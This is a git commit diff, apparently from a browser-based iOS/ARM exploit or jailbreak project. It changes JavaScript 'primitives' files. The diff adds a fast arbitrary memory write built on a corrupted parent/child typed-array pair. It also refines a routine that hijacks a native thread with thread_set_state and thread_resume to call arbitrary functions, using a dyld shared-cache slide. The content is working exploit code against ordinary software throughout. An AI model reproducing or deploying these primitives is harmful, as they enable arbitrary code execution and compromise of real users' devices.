summaryrefslogtreecommitdiff
path: root/src/js/primitives
diff options
context:
space:
mode:
authorspv <aquaticvegetable@gmail.com>2022-04-24 21:30:15 -0400
committerspv <aquaticvegetable@gmail.com>2022-04-24 21:30:15 -0400
commit7de438565f03123d37f737d2cd905579e90bc21e (patch)
tree2459045c6f8035aac6340361170142a144c0274f /src/js/primitives
parent5f9294a0e7aac5b9e105ccee737e42fc5c4cff63 (diff)
yeet
Diffstat (limited to 'src/js/primitives')
-rw-r--r--src/js/primitives/call.js25
-rw-r--r--src/js/primitives/mem.js15
2 files changed, 30 insertions, 10 deletions
diff --git a/src/js/primitives/call.js b/src/js/primitives/call.js
index 97a47b6..e382470 100644
--- a/src/js/primitives/call.js
+++ b/src/js/primitives/call.js
@@ -118,6 +118,8 @@ function calls4arg(sym, r0, r1, r2, r3) {
return call4arg(addy, r0, r1, r2, r3);
}
+var rth = 0;
+
function callnarg() {
if (arguments.length < 1) {
return printf("error: tried to run callnarg without args. arguments.length=%d\n", arguments.length);
@@ -153,8 +155,15 @@ function callnarg() {
calls4arg("pthread_create", threadptr, 0, __stack_chk_fail_resolver + dyld_shc_slide, 0);
thread = read_u32(threadptr);
write_u32(th, calls4arg("pthread_mach_thread_np", thread, 0, 0, 0));
+ rth = read_u32(th);
+ }
+
+ if (rth === 0) {
+ rth = read_u32(th);
}
+// calls4arg("thread_suspend", rth, 0, 0, 0);
+
/*
* write first 4 to r0-r3, rest to stack
*/
@@ -198,12 +207,8 @@ function callnarg() {
/*
* set the state
*/
- calls4arg("thread_set_state", read_u32(th), ARM_THREAD_STATE, thread_state, ARM_THREAD_STATE_COUNT);
-
- /*
- * probably un-necessary now, keeping in just in case for now
- */
- calls4arg("thread_resume", read_u32(th), 0, 0, 0);
+ calls4arg("thread_set_state", rth, ARM_THREAD_STATE, thread_state, ARM_THREAD_STATE_COUNT);
+ calls4arg("thread_resume", rth, 0, 0, 0);
/*
* spin wait for return
@@ -212,15 +217,15 @@ function callnarg() {
/*
* reset, it's used as input for thread_state size
*/
- write_u32(count, 0x100);
- calls4arg("thread_get_state", read_u32(th), ARM_THREAD_STATE, thread_state, count);
+ write_u32(count, 17);
+ calls4arg("thread_get_state", rth, ARM_THREAD_STATE, thread_state, count);
/*
* if the pc is in (resolver, resolver + 8), suspend the thread
* (to not spin endlessly), read r0 and return
*/
if (((read_u32(thread_state + (15 << 2)) - (__stack_chk_fail_resolver + dyld_shc_slide)) <= 8) && (read_u32(thread_state + (11 << 2)) == 0x1337)) {
- calls4arg("thread_suspend", read_u32(th), 0, 0, 0);
+ calls4arg("thread_suspend", rth, 0, 0, 0);
return read_u32(thread_state);
}
@@ -262,7 +267,7 @@ function scall() {
args_to_pass.push(sptr(arguments[i]));
} else {
args_to_pass.push(arguments[i]);
- if ((arguments[i] & 0xffff0000 == 0xffff0000 || arguments[i] & 0xffff0000 == 0xfffe0000)) {
+ if ((arguments[i] & 0xffff0000 == 0xffff0000 || arguments[i] & 0xffff0000 == 0xfffe0000) && (i == 1 || i == 3)) {
force_callnarg = true;
}
}
diff --git a/src/js/primitives/mem.js b/src/js/primitives/mem.js
index 85cd132..ff12fdd 100644
--- a/src/js/primitives/mem.js
+++ b/src/js/primitives/mem.js
@@ -91,6 +91,21 @@ function write_u32_buf(addy, buf, len) {
return buf;
}
+function fast_write_buf(addy, buf) {
+ var upper_i = Math.floor(buf.length / 0x100);
+
+ for (var i = 0; i < upper_i; i++) {
+ u8x4 = u32_to_u8x4(addy + (i * 0x100));
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+ for (var j = (i * 0x100); (j < (i * 0x100) + 0x100) && (j < buf.length); j++) {
+ child[j % 0x100] = buf[j];
+ }
+ }
+}
+
/*
* write uint8_t
*/